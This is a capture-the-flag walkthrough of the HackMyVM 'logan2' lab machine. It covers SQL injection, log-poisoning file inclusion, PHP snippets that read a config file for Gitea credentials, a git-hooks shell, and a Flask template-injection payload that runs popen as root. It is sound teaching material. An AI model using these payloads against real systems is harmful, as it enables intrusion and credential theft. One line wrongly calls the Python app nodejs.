hackmyvm: logan2

1. get user shell

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp(gitea)

browse port 80, find a sql injection.
在这里插入图片描述

using sqlmap, we got a new domain: newsitelogan.logan.hmv
在这里插入图片描述
add the domain to the hosts, and visit. from the comments, it can be seen that there is a file inclusion.
在这里插入图片描述
use this file inclusion and apache2’s log file, we can exec phpinfo(but exist disable_functions).
在这里插入图片描述
we use func scandirfile_get_contents to get gitea user logan and password Super_logan1234.

$arrFiles=scandir('.');foreach($arrFiles as $sfile){echo $sfile;}
echo file_get_contents("config.php");

在这里插入图片描述
browse port 3000, use the user and password, by git hooks, we get the user shell.
在这里插入图片描述
在这里插入图片描述

2. get root shell

run sudo -l, we can run command /usr/bin/python3 /opt/app.py as the root user. this is a nodejs app listening on port 8000.it’s very easy to get shell by flask model inject.

first, get the os._wrap_close.

#!/usr/bin/python3
import requests
for i in range(0, 300):
    url = 'http://192.168.143.236:8000/test?name={{%27%27.__class__.__mro__[-1].__subclasses__()[' + str(i) + ']}}'
    r = requests.get(url=url).text
    if 'os._wrap_close' in r:
        print(i)
        break

then, we can run commands to get flag.(omit flag)
http://192.168.143.236:8000/test?name={{%27%27.__class__.__mro__[-1].__subclasses__()[140].__init__.__globals__[%27popen%27](%27cat /root/root.txt%27).read()}}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值